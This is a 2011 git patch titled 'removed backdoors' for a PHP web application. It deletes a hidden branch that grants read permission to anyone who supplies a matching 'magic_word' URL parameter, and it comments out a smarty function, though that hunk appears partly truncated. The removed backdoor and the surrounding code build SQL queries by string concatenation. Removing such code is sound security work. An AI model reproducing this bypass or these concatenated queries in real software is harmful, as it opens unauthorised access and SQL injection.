From 759f4317a96aa5e54309077d996271d1d7e84467 Mon Sep 17 00:00:00 2001 From: niekt0 Date: Mon, 24 Jan 2011 14:21:59 +0100 Subject: [PATCH] removed backdoors --- wwwroot/inc/eventz/display.inc | 24 +------------------ .../smarty/node_methodz/function.get_atom.php | 11 ++++++--- 2 files changed, 9 insertions(+), 26 deletions(-) diff --git a/wwwroot/inc/eventz/display.inc b/wwwroot/inc/eventz/display.inc index fe180e4..76ad8bd 100644 --- a/wwwroot/inc/eventz/display.inc +++ b/wwwroot/inc/eventz/display.inc @@ -59,29 +59,7 @@ if (isset($referer_id) && is_numeric($referer_id)) { $q="insert into neurons set synapse_creator='".$_SESSION['user_id']."',dst='".$node['node_id']."',src='$referer_id',synapse=1"; $db->query($q); } -} - - -elseif (!$permissions['r'] && $_GET['magic_word']) { - $magic_word_big=$_GET['magic_word']; - - if ( preg_match("/(\d+)-(.+)/",$_GET['magic_word'],$mu)) { - $magic_uid=$mu['1']; - $magic_word=addslashes($mu['2']); - // XXX WTF column magic_word does not exists - $q="select login from users where user_id='$magic_uid' and magic_word='$magic_word'"; - $set=$db->query($q); - if ($set->getNumRows()) { - $permissions['r']=true; - } - } -} - - - - - -else { +} else { logger::log('enter',$node['node_id'],'failed'); } diff --git a/wwwroot/inc/smarty/node_methodz/function.get_atom.php b/wwwroot/inc/smarty/node_methodz/function.get_atom.php index 102d3d5..1d2eeee 100644 --- a/wwwroot/inc/smarty/node_methodz/function.get_atom.php +++ b/wwwroot/inc/smarty/node_methodz/function.get_atom.php @@ -1,8 +1,11 @@ assign('get_atom',$get_atom); - } +*/ +} + ?> -- 2.30.2